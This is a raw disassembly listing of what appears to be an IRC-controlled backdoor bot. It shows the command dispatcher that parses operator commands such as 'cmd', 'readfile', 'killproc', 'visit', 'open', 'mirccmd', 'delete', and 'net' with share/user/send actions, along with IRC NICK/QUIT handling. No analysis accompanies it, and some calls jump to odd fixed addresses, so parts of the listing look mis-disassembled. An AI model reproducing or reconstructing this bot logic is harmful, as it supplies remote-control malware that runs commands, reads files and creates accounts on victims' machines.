		jz	loc_406098
		push	edi
		push	offset aKillthread ; "killthread"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_405FCF
		push	edi
		push	offset aK	; "k"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_405FCF
		push	edi
		push	offset aC_quit	; "c_quit"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_405F1D
		push	edi
		push	offset aC_q	; "c_q"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_405F1D
		push	edi
		push	offset aC_rndnick ; "c_rndnick"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_405EBF
		push	edi
		push	offset aC_rn	; "c_rn"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_405EBF
		push	edi
		push	offset aPrefix	; "prefix"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_405EA3
		push	edi
		push	offset aPr	; "pr"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_405EA3
		push	edi
		push	offset aOpen	; "open"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_405E72
		push	edi
		push	offset aO	; "o"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_405E72
		push	edi
		push	offset aServer	; "server"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_405E46
		push	edi
		push	offset aSe	; "se"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_405E46
		push	edi
		push	offset aDns	; "dns"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_405DD7
		push	edi
		push	offset aDn	; "dn"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_405DD7
		push	edi
		push	offset aKillproc ; "killproc"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_405DA4
		push	edi
		push	offset aKp	; "kp"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_405DA4
		push	edi
		push	offset aKill	; "kill"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_405D75
		push	edi
		push	offset aKi	; "ki"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_405D75
		push	edi
		push	offset aDelete	; "delete"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_405D37
		push	edi
		push	offset aDel	; "del"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_405D37
		push	edi
		push	offset dword_4391F0
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_405C50
		push	edi
		push	offset dword_4391F4
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_405C50
		push	edi
		push	offset aList	; "list"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_405C2E
		push	edi
		push	offset aLi	; "li"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_405C2E
		push	edi
		push	offset aMirccmd	; "mirccmd"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_405BED
		push	edi
		push	offset aMirc	; "mirc"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_405BED
		push	edi
		push	offset aVisit	; "visit"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_405B08
		push	edi
		push	offset aV	; "v"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_405B08
		push	edi
		push	offset aCmd	; "cmd"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_405AA9
		push	edi
		push	offset aCm	; "cm"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_405AA9
		push	edi
		push	offset aReadfile ; "readfile"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_405A18
		push	edi
		push	offset aRf	; "rf"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_405A18
		push	edi
		push	offset aIdent	; "ident"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4055DD
		mov	esi, [ebp+esi+var_8C]
		push	esi
		push	offset aOn	; "on"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405597
		push	2
		call	sub_40909B
		test	eax, eax
		pop	ecx
		jle	short loc_40553A
		push	offset dword_4393E8
		jmp	loc_4055CA
; ---------------------------------------------------------------------------


loc_40553A:				; CODE XREF: sub_403038+24F6j
		lea	eax, [ebp+var_2E4]
		push	offset dword_439408
		push	eax
		call	sub_4171D0
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	2
		push	eax
		call	sub_408E53
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	esi
		push	offset loc_40EA18
		push	ebx
		push	ebx
		call	near ptr 26A08FFh
		nop
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_446224[esi], eax
		jnz	loc_4072D4
		nop
		call	near ptr 26908EFh
		push	eax
		push	offset dword_439434
		jmp	loc_4072C5
; ---------------------------------------------------------------------------


loc_405597:				; CODE XREF: sub_403038+24EAj
		push	esi
		push	offset aOff	; "off"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4072D4
		push	ebx
		push	2
		call	sub_40904E
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_4055C5
		push	eax
		push	offset dword_43946C
		jmp	loc_4072C5
; ---------------------------------------------------------------------------


loc_4055C5:				; CODE XREF: sub_403038+2580j
		push	offset dword_4394A4


loc_4055CA:				; CODE XREF: sub_403038+24FDj
					; sub_403038+34A2j
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_4171D0
		pop	ecx
		pop	ecx
		jmp	loc_4072D4
; ---------------------------------------------------------------------------


loc_4055DD:				; CODE XREF: sub_403038+24CEj
		push	edi
		push	offset aNet	; "net"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405907
		cmp	dword_445418, ebx
		jz	short loc_40560C
		cmp	dword_445440, ebx
		jz	short loc_40560C
		push	offset unk_439640
		jmp	loc_4058C1
; ---------------------------------------------------------------------------


loc_40560C:				; CODE XREF: sub_403038+25C0j
					; sub_403038+25C8j
		cmp	[ebp+var_C], ebx
		jz	loc_4058CF
		mov	edi, [ebp+esi+var_88]
		mov	[ebp+arg_0], ebx
		cmp	edi, ebx
		jz	short loc_405631
		push	edi
		push	[ebp+var_C]
		call	sub_417B50
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx


loc_405631:				; CODE XREF: sub_403038+25E9j
		mov	eax, [ebp+esi+var_8C]
		push	eax
		push	offset aStart	; "start"
		mov	[ebp+arg_10], eax
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4056A0
		cmp	edi, ebx
		jz	short loc_405674
		push	[ebp+arg_0]
		push	3
		call	sub_41243B
		push	eax
		push	offset aS_2	; "%s"


loc_405660:				; CODE XREF: sub_403038+268Bj
					; sub_403038+26B0j ...
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_4171D0
		add	esp, 14h
		jmp	loc_4058CF
; ---------------------------------------------------------------------------


loc_405674:				; CODE XREF: sub_403038+2616j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4126E2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_405696
		push	offset unk_4394D4
		jmp	loc_4058C1
; ---------------------------------------------------------------------------


loc_405696:				; CODE XREF: sub_403038+2652j
		push	offset unk_4394F8
		jmp	loc_4058C1
; ---------------------------------------------------------------------------


loc_4056A0:				; CODE XREF: sub_403038+2612j
		push	[ebp+arg_10]
		push	offset aStop	; "stop"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4056C5
		push	[ebp+arg_0]
		push	4
		call	sub_41243B
		push	eax
		push	offset aS_3	; "%s"
		jmp	short loc_405660
; ---------------------------------------------------------------------------


loc_4056C5:				; CODE XREF: sub_403038+2679j
		push	[ebp+arg_10]
		push	offset aPause	; "pause"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4056ED
		push	[ebp+arg_0]
		push	5
		call	sub_41243B
		push	eax
		push	offset aS_4	; "%s"
		jmp	loc_405660
; ---------------------------------------------------------------------------


loc_4056ED:				; CODE XREF: sub_403038+269Ej
		push	[ebp+arg_10]
		push	offset aContinue ; "continue"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405715
		push	[ebp+arg_0]
		push	6
		call	sub_41243B
		push	eax
		push	offset aS_5	; "%s"
		jmp	loc_405660
; ---------------------------------------------------------------------------


loc_405715:				; CODE XREF: sub_403038+26C6j
		push	[ebp+arg_10]
		push	offset aDelete_0 ; "delete"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40573D
		push	[ebp+arg_0]
		push	1
		call	sub_41243B
		push	eax
		push	offset aS_6	; "%s"
		jmp	loc_405660
; ---------------------------------------------------------------------------


loc_40573D:				; CODE XREF: sub_403038+26EEj
		push	[ebp+arg_10]
		push	offset aShare	; "share"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4057C2
		cmp	edi, ebx
		jz	short loc_405795
		cmp	[ebp+var_998], bl
		jz	short loc_40576D
		push	ebx
		push	edi
		push	1
		call	sub_41281F
		push	eax
		push	offset aS_7	; "%s"
		jmp	short loc_405781
; ---------------------------------------------------------------------------


loc_40576D:				; CODE XREF: sub_403038+2722j
		push	[ebp+esi+var_84]
		push	edi
		push	ebx
		call	sub_41281F
		push	eax
		push	offset aS_8	; "%s"


loc_405781:				; CODE XREF: sub_403038+2733j
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_4171D0
		add	esp, 18h
		jmp	loc_4058CF
; ---------------------------------------------------------------------------


loc_405795:				; CODE XREF: sub_403038+271Aj
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_412A14
		add	esp, 10h
		test	eax, eax
		jz	short loc_4057B8
		push	offset unk_43955C
		jmp	loc_4058C1
; ---------------------------------------------------------------------------


loc_4057B8:				; CODE XREF: sub_403038+2774j
		push	offset unk_439580
		jmp	loc_4058C1
; ---------------------------------------------------------------------------


loc_4057C2:				; CODE XREF: sub_403038+2716j
		push	[ebp+arg_10]
		push	offset aUser	; "user"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405873
		cmp	edi, ebx
		jz	short loc_40584C
		cmp	[ebp+var_998], bl
		jz	short loc_405802
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	ebx
		push	edi
		push	1
		call	sub_412B35
		push	eax
		push	offset aS_9	; "%s"
		jmp	short loc_405838
; ---------------------------------------------------------------------------


loc_405802:				; CODE XREF: sub_403038+27ABj
		push	[ebp+var_4]
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		jz	short loc_405829
		push	esi
		push	edi
		push	ebx
		call	sub_412B35
		push	eax
		push	offset aS_10	; "%s"
		jmp	short loc_405838
; ---------------------------------------------------------------------------


loc_405829:				; CODE XREF: sub_403038+27DFj
		push	ebx
		push	edi
		push	2
		call	sub_412B35
		push	eax
		push	offset aS_11	; "%s"


loc_405838:				; CODE XREF: sub_403038+27C8j
					; sub_403038+27EFj
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_4171D0
		add	esp, 24h
		jmp	loc_4058CF
; ---------------------------------------------------------------------------


loc_40584C:				; CODE XREF: sub_403038+27A3j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_413049
		add	esp, 10h
		test	eax, eax
		jz	short loc_40586C
		push	offset unk_4395B4
		jmp	short loc_4058C1
; ---------------------------------------------------------------------------


loc_40586C:				; CODE XREF: sub_403038+282Bj
		push	offset unk_4395D4
		jmp	short loc_4058C1
; ---------------------------------------------------------------------------


loc_405873:				; CODE XREF: sub_403038+279Bj
		push	[ebp+arg_10]
		push	offset aSend_2	; "send"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4058BC
		cmp	edi, ebx
		jz	short loc_4058B5
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4132FD
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset aS_12	; "%s"
		push	eax
		call	sub_4171D0
		add	esp, 1Ch
		jmp	short loc_4058CF
; ---------------------------------------------------------------------------


loc_4058B5:				; CODE XREF: sub_403038+2850j
		push	offset unk_439600
		jmp	short loc_4058C1
; ---------------------------------------------------------------------------


loc_4058BC:				; CODE XREF: sub_403038+284Cj
		push	offset unk_439624


loc_4058C1:				; CODE XREF: sub_403038+25CFj
					; sub_403038+2659j ...
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_4171D0
		pop	ecx
		pop	ecx


loc_4058CF:				; CODE XREF: sub_403038+25D7j
					; sub_403038+2637j ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_4058F0
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_401445
		add	esp, 14h


loc_4058F0:				; CODE XREF: sub_403038+289Aj
					; sub_403038+2A61j ...
		mov	esi, [ebp+arg_24]


loc_4058F3:				; CODE XREF: sub_403038+91Ej
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_410557
		pop	ecx
		mov	eax, esi
		jmp	loc_4034D7
; ---------------------------------------------------------------------------


loc_405907:				; CODE XREF: sub_403038+25B4j
		push	edi
		push	offset aGethost	; "gethost"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40592D
		push	edi
		push	offset aGh	; "gh"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404928


loc_40592D:				; CODE XREF: sub_403038+28DEj
		mov	edi, [ebp+esi+var_8C]
		push	edi
		push	[ebp+arg_1C]
		call	sub_417B50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40858F
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jz	short loc_4059D1
		push	esi
		push	[ebp+var_C]
		call	sub_417B50
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_4059B9
		push	esi
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset aSSSS	; "%s %s %s :%s"
		push	eax
		call	sub_4171D0
		lea	eax, [ebp+var_2E4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_417770
		push	esi
		push	edi
		lea	eax, [ebp+var_2E4]
		push	offset unk_439694
		push	eax
		call	sub_4171D0
		add	esp, 34h
		inc	[ebp+arg_24]
		jmp	loc_404E30
; ---------------------------------------------------------------------------


loc_4059B9:				; CODE XREF: sub_403038+2929j
		lea	eax, [ebp+var_2E4]
		push	offset unk_4396BC
		push	eax
		call	sub_4171D0
		pop	ecx
		pop	ecx
		jmp	loc_404E30
; ---------------------------------------------------------------------------


loc_4059D1:				; CODE XREF: sub_403038+2918j
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_4143DD
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_401445
		push	edi
		push	offset dword_4396EC
		lea	eax, [ebp+var_2E4]
		push	200h
		push	eax
		call	sub_4172D0
		add	esp, 24h
		jmp	loc_404E30
; ---------------------------------------------------------------------------


loc_405A18:				; CODE XREF: sub_403038+24A4j
					; sub_403038+24B9j
		mov	edi, [ebp+esi+var_8C]
		push	offset aR_0	; "r"
		push	edi
		mov	[ebp+arg_10], edi
		call	sub_417050
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_405A9E
		mov	edi, 200h
		push	esi
		lea	eax, [ebp+var_2E4]
		push	edi
		push	eax
		call	sub_418340
		add	esp, 0Ch


loc_405A4B:				; CODE XREF: sub_403038+2A42j
		test	eax, eax
		jz	short loc_405A7C
		push	1
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_401445
		push	esi
		lea	eax, [ebp+var_2E4]
		push	edi
		push	eax
		call	sub_418340
		add	esp, 20h
		jmp	short loc_405A4B
; ---------------------------------------------------------------------------


loc_405A7C:				; CODE XREF: sub_403038+2A15j
		push	esi
		call	sub_414C60
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2E4]
		push	offset unk_439394
		push	eax
		call	sub_4171D0
		add	esp, 10h
		jmp	loc_4058F0
; ---------------------------------------------------------------------------


loc_405A9E:				; CODE XREF: sub_403038+29FBj
		push	edi
		push	offset unk_4393B8
		jmp	loc_407220
; ---------------------------------------------------------------------------


loc_405AA9:				; CODE XREF: sub_403038+247Aj
					; sub_403038+248Fj
		cmp	[ebp+var_C], ebx
		jz	loc_40858F
		push	[ebp+esi+var_8C]
		push	[ebp+var_C]
		call	sub_417B50
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_40858F
		push	offset asc_439338 ; "\n"
		push	esi
		call	sub_4184D0
		push	esi
		call	sub_4137CE
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_405AFD
		push	offset unk_43933C


loc_405AEA:				; CODE XREF: sub_403038+2BE7j
					; sub_403038+2BF1j ...
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_4171D0
		pop	ecx
		pop	ecx
		jmp	loc_404E0F
; ---------------------------------------------------------------------------


loc_405AFD:				; CODE XREF: sub_403038+2AABj
		push	esi
		push	offset dword_439368
		jmp	loc_406E36
; ---------------------------------------------------------------------------


loc_405B08:				; CODE XREF: sub_403038+2450j
					; sub_403038+2465j
		mov	edi, [ebp+esi+var_8C]
		push	7Fh
		lea	eax, [ebp+var_6DC]
		push	edi
		push	eax
		call	sub_417770
		mov	esi, [ebp+esi+var_88]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_405B3E
		push	7Fh
		lea	eax, [ebp+var_65C]
		push	esi
		push	eax
		call	sub_417770
		add	esp, 0Ch


loc_405B3E:				; CODE XREF: sub_403038+2AF2j
		push	7Fh
		lea	eax, [ebp+var_5DC]
		push	[ebp+var_88]
		push	eax
		call	sub_417770
		mov	eax, [ebp+arg_4]
		push	edi
		mov	[ebp+var_6E0], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_558], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_554], eax
		lea	eax, [ebp+var_2E4]
		push	offset dword_4392D8
		push	eax
		call	sub_4171D0
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	1Ch
		push	eax
		call	sub_408E53
		add	esp, 24h
		mov	[ebp+var_55C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_6E0]
		push	ebx
		push	eax
		push	offset loc_4149B3
		push	ebx
		push	ebx
		nop
		call	near ptr 26A08FFh
		mov	ecx, [ebp+var_55C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_446224[ecx], eax
		jz	short loc_405BDC


loc_405BC6:				; CODE XREF: sub_403038+2BA2j
		cmp	[ebp+var_550], ebx
		jnz	loc_404E30
		push	32h
		nop
		call	near ptr 2690599h
		jmp	short loc_405BC6
; ---------------------------------------------------------------------------


loc_405BDC:				; CODE XREF: sub_403038+2B8Cj
		call	near ptr 26908EFh
		nop
		push	eax
		push	offset unk_4392F0
		jmp	loc_406E36
; ---------------------------------------------------------------------------


loc_405BED:				; CODE XREF: sub_403038+2426j
					; sub_403038+243Bj
		cmp	[ebp+var_C], ebx
		jz	loc_40858F
		push	[ebp+esi+var_8C]
		push	[ebp+var_C]
		call	sub_417B50
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40858F
		push	eax
		call	sub_411DDA
		test	eax, eax
		pop	ecx
		jnz	short loc_405C24
		push	offset unk_439290
		jmp	loc_405AEA
; ---------------------------------------------------------------------------


loc_405C24:				; CODE XREF: sub_403038+2BE0j
		push	offset dword_4392B0
		jmp	loc_405AEA
; ---------------------------------------------------------------------------


loc_405C2E:				; CODE XREF: sub_403038+23FCj
					; sub_403038+2411j
		mov	esi, [ebp+esi+var_8C]
		push	ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	esi
		call	sub_40E18A
		push	esi
		push	offset dword_439268
		jmp	loc_408249
; ---------------------------------------------------------------------------


loc_405C50:				; CODE XREF: sub_403038+23D2j
					; sub_403038+23E7j
		push	14h
		lea	eax, [ebp+var_6F8]
		push	ebx
		push	eax
		call	sub_417070
		push	[ebp+esi+var_8C]
		lea	eax, [ebp+var_6E4]
		push	offset dword_4391F8
		push	eax
		call	sub_4171D0
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_700], eax
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_5E0]
		push	80h
		push	eax
		call	sub_4172D0
		mov	eax, [ebp+var_4]
		mov	[ebp+var_558], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_554], eax
		lea	eax, [ebp+var_5E0]
		push	eax
		lea	eax, [ebp+var_6E4]
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset unk_4391FC
		push	eax
		call	sub_4171D0
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	1Ah
		push	eax
		call	sub_408E53
		add	esp, 40h
		mov	[ebp+var_55C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_700]
		push	ebx
		push	eax
		push	offset loc_410A7D
		push	ebx
		push	ebx
		nop
		call	near ptr 26A08FFh
		mov	ecx, [ebp+var_55C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_446224[ecx], eax
		jz	short loc_405D26


loc_405D10:				; CODE XREF: sub_403038+2CECj
		cmp	[ebp+var_550], ebx
		jnz	loc_40514A
		push	32h
		nop
		call	near ptr 2690599h
		jmp	short loc_405D10
; ---------------------------------------------------------------------------


loc_405D26:				; CODE XREF: sub_403038+2CD6j
		call	near ptr 26908EFh
		nop
		push	eax
		push	offset unk_439220
		jmp	loc_406B80
; ---------------------------------------------------------------------------


loc_405D37:				; CODE XREF: sub_403038+23A8j
					; sub_403038+23BDj
		mov	esi, [ebp+esi+var_8C]
		push	esi
		call	near ptr 26A0AF2h
		nop
		test	eax, eax
		jz	short loc_405D68
		push	esi
		push	offset dword_4391C8


loc_405D4F:				; CODE XREF: sub_403038+2D3Bj
		lea	eax, [ebp+var_2E4]
		push	200h
		push	eax
		call	sub_4172D0
		add	esp, 10h
		jmp	loc_4058CF
; ---------------------------------------------------------------------------


loc_405D68:				; CODE XREF: sub_403038+2D0Fj
		push	offset dword_4391E4
		call	sub_411D15
		push	eax
		jmp	short loc_405D4F
; ---------------------------------------------------------------------------


loc_405D75:				; CODE XREF: sub_403038+237Ej
					; sub_403038+2393j
		mov	esi, [ebp+esi+var_8C]
		push	esi
		call	sub_4174D0
		push	eax
		call	sub_413747
		pop	ecx
		cmp	eax, 1
		pop	ecx
		push	esi
		jnz	short loc_405D9A
		push	offset unk_439168
		jmp	loc_4072C5
; ---------------------------------------------------------------------------


loc_405D9A:				; CODE XREF: sub_403038+2D56j
		push	offset unk_43918C
		jmp	loc_4072C5
; ---------------------------------------------------------------------------


loc_405DA4:				; CODE XREF: sub_403038+2354j
					; sub_403038+2369j
		mov	esi, [ebp+esi+var_8C]
		push	ebx
		push	ebx
		push	esi
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_413426
		add	esp, 18h
		cmp	eax, 1
		push	esi
		jnz	short loc_405DCD
		push	offset unk_43910C
		jmp	loc_407220
; ---------------------------------------------------------------------------


loc_405DCD:				; CODE XREF: sub_403038+2D89j
		push	offset unk_43912C
		jmp	loc_407220
; ---------------------------------------------------------------------------


loc_405DD7:				; CODE XREF: sub_403038+232Aj
					; sub_403038+233Fj
		mov	esi, [ebp+esi+var_8C]
		push	esi
		call	dword_445388
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_405E1B
		push	2
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		call	dword_445300
		cmp	eax, ebx
		jz	short loc_405E3C
		push	dword ptr [eax]
		push	esi
		push	offset unk_439094


loc_405E07:				; CODE XREF: sub_403038+2E02j
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_4171D0
		add	esp, 10h
		jmp	loc_404E0F
; ---------------------------------------------------------------------------


loc_405E1B:				; CODE XREF: sub_403038+2DB3j
		push	esi
		call	dword_4453CC
		cmp	eax, ebx
		jz	short loc_405E3C
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_4453D4
		push	eax
		push	esi
		push	offset unk_4390B4
		jmp	short loc_405E07
; ---------------------------------------------------------------------------


loc_405E3C:				; CODE XREF: sub_403038+2DC5j
					; sub_403038+2DECj
		push	offset unk_4390D4
		jmp	loc_405AEA
; ---------------------------------------------------------------------------


loc_405E46:				; CODE XREF: sub_403038+2300j
					; sub_403038+2315j
		mov	esi, [ebp+esi+var_8C]
		push	7Fh
		push	esi
		push	[ebp+arg_14]
		call	sub_417770
		push	esi
		lea	eax, [ebp+var_2E4]
		push	offset unk_439064
		push	eax
		call	sub_4171D0
		add	esp, 18h
		jmp	loc_4072D4
; ---------------------------------------------------------------------------


loc_405E72:				; CODE XREF: sub_403038+22D6j
					; sub_403038+22EBj
		mov	esi, [ebp+esi+var_8C]
		push	5
		push	ebx
		push	ebx
		push	esi
		push	offset aOpen_0	; "open"
		push	ebx
		call	dword_4452B4
		test	eax, eax
		push	esi
		jz	short loc_405E99
		push	offset unk_439014
		jmp	loc_407220
; ---------------------------------------------------------------------------


loc_405E99:				; CODE XREF: sub_403038+2E55j
		push	offset unk_439034
		jmp	loc_407220
; ---------------------------------------------------------------------------


loc_405EA3:				; CODE XREF: sub_403038+22ACj
					; sub_403038+22C1j
		mov	esi, [ebp+esi+var_8C]
		mov	al, [esi]
		mov	byte_436C28, al
		movsx	eax, byte ptr [esi]
		push	eax
		push	offset unk_438FD8
		jmp	loc_4072C5
; ---------------------------------------------------------------------------


loc_405EBF:				; CODE XREF: sub_403038+2282j
					; sub_403038+2297j
		mov	esi, [ebp+esi+var_8C]
		push	esi
		call	sub_4174D0
		test	eax, eax
		pop	ecx
		jle	loc_40858F
		push	esi
		call	sub_4174D0
		cmp	eax, 400h
		pop	ecx
		jge	loc_40858F
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_408B4C
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset aNickS	; "NICK	%s"
		push	eax
		call	sub_4171D0
		add	esp, 1Ch
		lea	eax, [ebp+var_2E4]
		push	eax
		push	offset aS_13	; "%s\r\n"
		jmp	loc_40816B
; ---------------------------------------------------------------------------


loc_405F1D:				; CODE XREF: sub_403038+2258j
					; sub_403038+226Dj
		mov	esi, [ebp+esi+var_8C]
		push	esi
		call	sub_4174D0
		test	eax, eax
		pop	ecx
		jle	loc_4034D4
		push	esi
		call	sub_4174D0
		cmp	eax, 400h
		pop	ecx
		jge	loc_4034D4
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	esi
		call	sub_4174D0
		imul	eax, 234h
		pop	ecx
		push	dword_44621C[eax]
		call	sub_4013FF
		pop	ecx
		pop	ecx
		push	1F4h
		nop
		call	near ptr 2690599h
		push	esi
		call	sub_4174D0
		imul	eax, 234h
		pop	ecx
		push	dword_44621C[eax]
		call	dword_4453E0
		push	[ebp+var_10]
		push	esi
		call	sub_4174D0
		imul	eax, 234h
		pop	ecx
		push	dword_446224[eax]
		nop
		call	near ptr 26D0BAFh
		push	esi
		call	sub_4174D0
		imul	eax, 234h
		push	esi
		mov	dword_446224[eax], ebx
		call	sub_4174D0
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_446010[eax], bl
		jmp	loc_4034D4
; ---------------------------------------------------------------------------


loc_405FCF:				; CODE XREF: sub_403038+222Ej
					; sub_403038+2243j
		push	[ebp+esi+var_8C]
		push	offset aAll	; "all"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406004
		call	sub_40901C
		cmp	eax, ebx
		jle	short loc_405FFA
		push	eax
		push	offset unk_438EEC
		jmp	loc_40511A
; ---------------------------------------------------------------------------


loc_405FFA:				; CODE XREF: sub_403038+2FB5j
		push	offset unk_438F14
		jmp	loc_407679
; ---------------------------------------------------------------------------


loc_406004:				; CODE XREF: sub_403038+2FACj
		mov	eax, [ebp+var_A8]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_4034D4
		lea	eax, [ebp+edi*4+var_90]
		mov	[ebp+arg_24], eax


loc_406020:				; CODE XREF: sub_403038+3059j
		mov	eax, [ebp+arg_24]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_4034D4
		push	esi
		call	sub_4174D0
		push	eax
		call	sub_408F8E
		pop	ecx
		pop	ecx
